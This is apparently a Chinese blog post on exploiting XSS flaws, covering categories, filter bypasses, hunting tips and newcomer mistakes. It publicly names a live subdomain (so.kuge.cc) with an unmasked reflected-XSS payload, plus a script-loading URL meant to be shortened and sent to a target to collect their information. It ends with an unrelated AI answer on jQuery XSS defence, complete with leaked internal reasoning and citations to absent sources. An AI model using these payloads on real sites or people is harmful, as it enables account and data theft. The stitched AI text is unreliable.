XSS漏洞利用方式总结

前言:

最近一直在挖漏洞,碰到的XSS漏洞最多了,今天就顺便来讲一下,如有错的地方,烦请指出。

00×1    什么是XSS漏洞:

     XSS又叫CSS (Cross Site Script) ,跨站脚本攻击。它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意攻击用户的特殊目的。

00×2    XSS漏洞有什么危害:

     1、盗取各类用户帐号,如机器登录帐号、用户网银帐号、各类管理员帐号

     2、控制企业数据,包括读取、篡改、添加、删除企业敏感数据的能力

     3、盗窃企业重要的具有商业价值的资料

     4、非法转账

     5、强制发送电子邮件

     6、网站挂马

     7、控制受害者机器向其它网站发起攻击

00×3    XSS的分类:

     1,反射型:

     定义:非持久型、参数型

     出现位置:网站搜索栏、用户登入口位置

     2,存储型

     定义:持久型

     出现位置:网站留言、评论、博客日志等交互处

     3,DOM型

00×4    XSS漏洞的挖掘:

     如何去挖掘XSS呢?手工+工具+思路+勤奋的双手=漏洞

     手工:自己构造payload,见框就插

     工具:safe3,AWVS,Burpsuite丶Appscan丶XssSniper浏览器插件丶cookie修改工具

     思路:个人信息,留言板,评论等,注意观察url变化,也可能会出现其他漏洞,如:逻辑漏洞

     勤奋:不要总以为自己看一遍就会了,多去实战才能积累经验

     漏洞:当你看到别人挖到了这个网站的漏洞,你就不挖了,他可能只是过滤了一个字符呢?漏洞无处不在,思路很重要

00×5    XSS绕过方法总结:

     1,绕过单引号
     2,绕过 SCRIPT 过滤
     3,使用 IMG 源
     4,使用制表符 换行符和回车符
     5,使用空白符
     6,双引号配对的 bug
     7,绕过css过滤器
     8,不全面的过滤器
     9,转义字符
     10,编码

00×6    XSS的简单闭合案例:

     我已经找到了一个反射型的XSS,我就不打码了

      域名:http://so.kuge.cc/

     是酷鸽网的一个分站,首先我们插入正常的XSS代码    <script>alert('XSS')</script> 

     查看源代码,我们发现他已经插入到html代码中,但是没弹框,不要放弃,我们接着看

     

 

     我们发现<a href="?op=news&k=<script>alert('XSS')</script> " class="a">新闻</a>

  重点在<a标签,我们发现前面一个<a到后面">结束这一小部分

  我们开始构造payload,闭合<a>标签 payload:"><script>alert('XSS')</script><a

成功弹窗


00×7    利用XSS获取目标IP:

     首先你要找到一个存在XSS漏洞的站,反射型XSS也好,储存型XSS也好,DOM型的也一样

     还是刚才那个,域名:http://so.kuge.cc/

     构造payload:

     http://so.kuge.cc/search.phpk="><script src=你的XSS平台></script><a

  可以缩短发给目标,目标打开后,接收目标信息

00×8   新手在寻找XSS时所存在的一些误区:

     1,误区1:XSS,不是专门去“绕过”限制。

     打个简单的比方,一个已经被层层把守的大门,面前荆棘无数,而你又单枪匹马的,怎么闯的进去? 这个时候你要意识到,走大门是不可能的。其实我们要突破的城防,有很多小门可以进去的,甚至不需要任何手段就可以直接走进去。我们为什么不走呢?

     XSS是很好防御的,不就是过滤一下么,所以我们不要太多寄希望与程序员错误的过滤逻辑,而应该把希望寄托于程序员的“忘记过滤”上。



     2,误区2: XSS,不仅仅存在于你所看得见的位置。

大部分新手,在寻找XSS时,都会在一些评论框去输入XSS代码,然后看页面有没有弹窗。当然不是说这个方法没有用,而是这种方法,几乎很难“碰”到一个XSS。所以很多新手会觉得XSS怎么这么难找到。原因有几点:A):像评论框,个人资料这种,你所能想到的位置。稍微有一点安全意识的程序员也能想到,所以经常是被过滤掉的。
B):你所填入的资料,并不总是以HTML标签的形式,输出到页面上。所以有时候并不是不能X,只是因为你填入的东西不对。


看不见有两个层面:



A) 输入看不见。

建议大家在提交请求的时候,使用抓包软件,然后对请求的参数逐个测试。


B)  输出看不见。

建议大家对返回的数据,也可以使用抓包软件抓取数据,然后对抓回的数据进行搜索,搜索你输入的数据,来定位看不见的输出。

3,误区3: XSS,绕过限制不是让你乱用字符去绕过,切忌盲目。
     某人在看到代码是 <a href="xxxx\u0022"> 的时候,问大家:“为什么\u0022”不行啊? 这种绕过是盲目的。

     在测试初期,我们如果不愿意去看对方的代码逻辑,可以采用“盲目”的方式去测试(用各种特殊字符去试探),这样可以节省很多时间。但是,当我们已经能够确定,数据输出位于哪个点时,比如上面这个
xxxx ,我们已经知道是输出到了 href="之间"  的时候。我们就不能盲目的去"绕过”,一定要有针对性。这个针对性主要是以下几点。

A) 输出点,是直接输出,还是经过了DOM。

  简单通俗点的说法是:
  前者可以通过右键查看源代码,搜索到。
  后者通过右键查看源代码是搜索不到的。

B) 直接输出点,是位于HTML标签里,还是位于Script脚本里,或者是Style里

  HTML标签又分为:
    是在HTML标签之间: <div> 内容在这里 </div>
    还是在HTML属性之间: <img alt="内容在这里">
    还是在HTML事件之间:  <img>
  Script/style标签:
    根据输出自己去构造闭合,保证语法正确即可。

C)  DOM输出点,这个需要一定的JS基础。
  C.1) 定位输出内容的JS代码段。
  C.2) 查看此代码段,是否存在过滤问题。
  C.3) 如果存在,制定绕过规则。

D) 输出点,采用的什么过滤规则
  D.1)了解以上B)中,
    每个点该过滤什么字符,
    如果没过滤什么字符,该怎么去利用。
  D.2)逐个测试法,看看目标输出点,到底过滤了哪些字符
  D.3)测试服务器端的一些转换逻辑,比如有些服务器会先将&quot;转换为"
  D.4)确定是否可绕过,不能绕过的尽早放弃

     总之,首先要了解如何防御,你才能了解,如何绕过,不能盲目。其中,B+D的规则基本是死的,偶尔碰上些服务器端过滤逻辑有问题的,是可以绕过的,尤其是服务器端采用黑名单的方式时。C则较为灵活,所谓的“绕过”往往是针对这种。​

4,其它:


A) 代码里明明看到插入了 <script>,怎么不执行啊?


这种问题,zone里貌似有几个帖子了,这里强调下,打开调试工具看代码的时候,请注意颜色。
以chrome为例,只有<script>..</script>标记以彩色显示时,才说明是插入了,而以黑色显示时,实际上的代码是:&lt;script&gt;....
&lt;/script&gt; ,其它标签同理。


B) <xxx xxxx="xxx"> 这个放进去怎么不行啊?


首先确定你这个是XSS代码,此外,一些新手会在网上找到一些旧的资料,而有些XSS代码是IE6时代的产物,或者是浏览器特异的代码,所以一定要注意代码来源,适用于什么浏览器。

 

推荐书籍:

XSS跨站脚本攻击剖析与防御

<think>首先,用户的问题是:“我想了解如何防范或分析jQuery相关的XSS漏洞 请问jQuery XSS 漏洞防范与分析方法”。这是关于jQuery的XSS漏洞的防范和分析。 根据系统级指令: - 所有行内数学表达式使用$...$格式。 - 独立公式使用$$...$$格式并单独成段。 - LaTeX语法正确。 - 使用中文回答。 - 生成相关问题。 - 回答中引用的段落末尾自然地添加引用标识,例如[^1]。 用户可见层指令: - 回答结构清晰,帮助用户逐步解决问题。 - 尽量保证回答真实可靠。 参考的引用: - [^1]: 关于jQuery跨站脚本漏洞与防范方法。 - [^2]: XSS漏洞原理及防护。 - [^3]: xss攻击和防范。 - [^4]: XSS漏洞的测试与利用。 我需要基于这些引用构建回答。引用内容主要涉及XSS漏洞的原理、防范方法,以及jQuery相关的部分。 关键点从引用中提取: - [^1]: jQuery使用中需要关注安全性,特别是XSS漏洞的防范。 - [^2]: XSS漏洞利用如cookie欺骗、网站钓鱼等;解决思路是过滤+实体化编码。 - [^3]: 对输出进行转义再显示;防御措施包括编码、转义。 - [^4]: 测试XSS漏洞的例子,如输入<script>alert("66666")</script>;需要过滤用户提交的内容。 回答结构: - 逐步解决问题:先解释什么是jQuery相关的XSS漏洞,然后分析如何分析,最后防范方法。 - 结构清晰:分部分,如引言、分析部分、防范部分。 - 使用中文。 - 在末尾添加相关问题。 生成相关问题: - 系统指令要求“生成相关问题”,并放在回答末尾,像示例中那样。 - 示例中是“§§相关问题§§”后列出问题。 所以,我的回答结构: 1. 引言:简要介绍jQuery XSS漏洞。 2. 分析部分:如何分析jQuery相关的XSS漏洞。 3. 防范部分:如何防范。 4. 添加引用标识在引用段落末尾。 5. 最后,生成相关问题。 确保LaTeX:用户的问题没有数学内容,所以可能不需要数学表达式。但如果有数学相关,要用$...$或$$...$$。这里可能不涉及,但以防万一。 现在,构建回答内容。 **引言:** - 解释jQuery XSS漏洞:jQuery是一个流行的JavaScript库,用于简化DOM操作。但它可能引入XSS漏洞,如果开发者不正确地处理用户输入。 - 引用[^1]:jQuery为开发者提供了强大工具,但需要关注安全性。 **分析部分:** - 如何分析:测试输入点,检查是否用户输入被直接插入到DOM中而不转义。 - 引用[^4]:输入<script>alert("66666")</script>测试;如果显示,则存在漏洞。 - 分析原理:XSS攻击通过注入恶意脚本,窃取信息或执行操作。 - 引用[^2]:XSS漏洞利用如cookie欺骗、获取管理权限。 **防范部分:** - 关键防范方法:过滤输入和转义输出。 - 引用[^2]:过滤+实体化编码。 - 引用[^3]:对输出进行转义再显示。 - jQuery特定:使用jQuery的方法如.text()代替.html()来避免执行脚本;使用安全函数。 添加引用标识: - 在相关句子末尾加[^1], [^2]等。 生成相关问题: - 类似示例,列出3-4个相关问题。 - 例如: 1. jQuery中哪些方法容易导致XSS漏洞? 2. 如何测试jQuery应用的XSS漏洞? 3. jQuery插件如何安全地处理用户输入? 4. XSS漏洞的常见攻击场景有哪些? 确保回答真实可靠:基于提供的引用和常识。引用是可靠的来源。 最终回答大纲: 1. **引言** - 介绍jQuery XSS漏洞。 2. **分析jQuery相关的XSS漏洞** - 解释如何识别和分析漏洞点。 3. **防范方法** - 列出具体防范措施。 4. **相关问题** - 列出相关问题。</think>### jQuery XSS漏洞防范与分析方法 jQuery是一个广泛使用的JavaScript库,它简化了DOM操作和事件处理,但如果不当使用,可能引入跨站脚本(XSS漏洞XSS攻击允许攻击者注入恶意脚本,窃取用户数据、cookie或控制用户会话[^2]。防范和分析jQuery相关的XSS漏洞需要结合输入验证、输出编码和框架安全实践。下面我将分步解释分析方法和防范措施,确保回答基于可靠的安全原则。 #### 1. **分析jQuery相关的XSS漏洞** 分析XSS漏洞的核心是识别用户输入点和输出点是否安全。以下是系统化的分析步骤: - **识别输入源**:检查所有用户可控制的输入点,如表单字段、URL参数或AJAX请求。在jQuery应用中,常见漏洞点包括`.html()`, `.append()`, 或`.innerHTML`等方法,这些方法可能直接执行未转义的HTML内容[^4]。例如,测试时输入`<script>alert("XSS测试")</script>`,如果弹出警告框,表明存在漏洞[^4]。 - **测试漏洞利用**:模拟攻击场景,如cookie欺骗或会话劫持。使用工具(如Burp Suite或OWASP ZAP)扫描应用,检查用户输入是否被直接插入到DOM中而不转义。引用[^2]指出,XSS漏洞可导致攻击者获取管理员权限,威胁整个Web应用安全。 - **分析jQuery特定风险**:jQuery插件或第三方库可能引入额外风险。检查代码中是否使用不安全的方法,如`$.parseHTML()`或动态加载脚本,这些可能绕过浏览器安全机制[^1]。同时,审查事件处理(如`onclick`属性)是否允许注入脚本。 - **总结分析工具**:推荐使用: - 静态分析工具:ESLint或jQuery Lint插件,检测代码中的潜在XSS模式。 - 动态测试:手动测试输入边界值,或自动化工具如Selenium模拟用户交互。 分析后,生成报告列出高风险点,便于针对性修复[^3]。 #### 2. **防范jQuery相关的XSS漏洞** 防范XSS漏洞的关键是“过滤输入 + 编码输出”,结合jQuery最佳实践。以下是具体措施: - **输入过滤**:对所有用户输入进行严格验证和过滤。使用正则表达式或库(如DOMPurify)移除危险字符(如`<`, `>`, `&`)。例如: ```javascript // 示例:过滤用户输入 function sanitizeInput(input) { return input.replace(/[<>"&]/g, ""); // 移除危险字符 } ``` 引用[^2]强调,过滤是防御XSS的第一道防线,能防止恶意代码注入。 - **输出编码**:在输出到DOM前,对数据进行实体化编码。jQuery提供安全方法: - 使用`.text()`代替`.html()`来插入文本内容,避免执行脚本。 - 对于动态内容,采用`$.text()`或`document.createTextNode()`。 例如: ```javascript // 安全输出示例 $("#output").text(userInput); // 使用.text()编码输出 ``` 引用[^3]指出,输出转义能确保浏览器将输入视为纯文本而非可执行代码。 - **框架级防护**: - 启用Content Security Policy(CSP):通过HTTP头限制脚本来源,阻止内联脚本执行。例如,设置`Content-Security-Policy: script-src 'self'`。 - 使用jQuery的安全插件:如jQuery XSS插件,自动处理编码。 - 避免直接使用`eval()`或`Function()`:这些函数可能执行恶意输入[^1]。 - **其他最佳实践**: - 定期更新jQuery版本:旧版本可能有已知漏洞,升级到最新版(如jQuery 3.x以上)以修复安全问题[^1]。 - 教育和代码审查:培训开发者使用安全编码规范,并在代码审查中重点检查输入/输出点。 引用[^4]显示,结合过滤和编码,能有效使恶意代码无法执行。 通过以上方法,您可以显著降低jQuery应用中的XSS风险。如果涉及复杂场景,建议咨询安全专家或使用渗透测试服务。
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

巡安似海

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值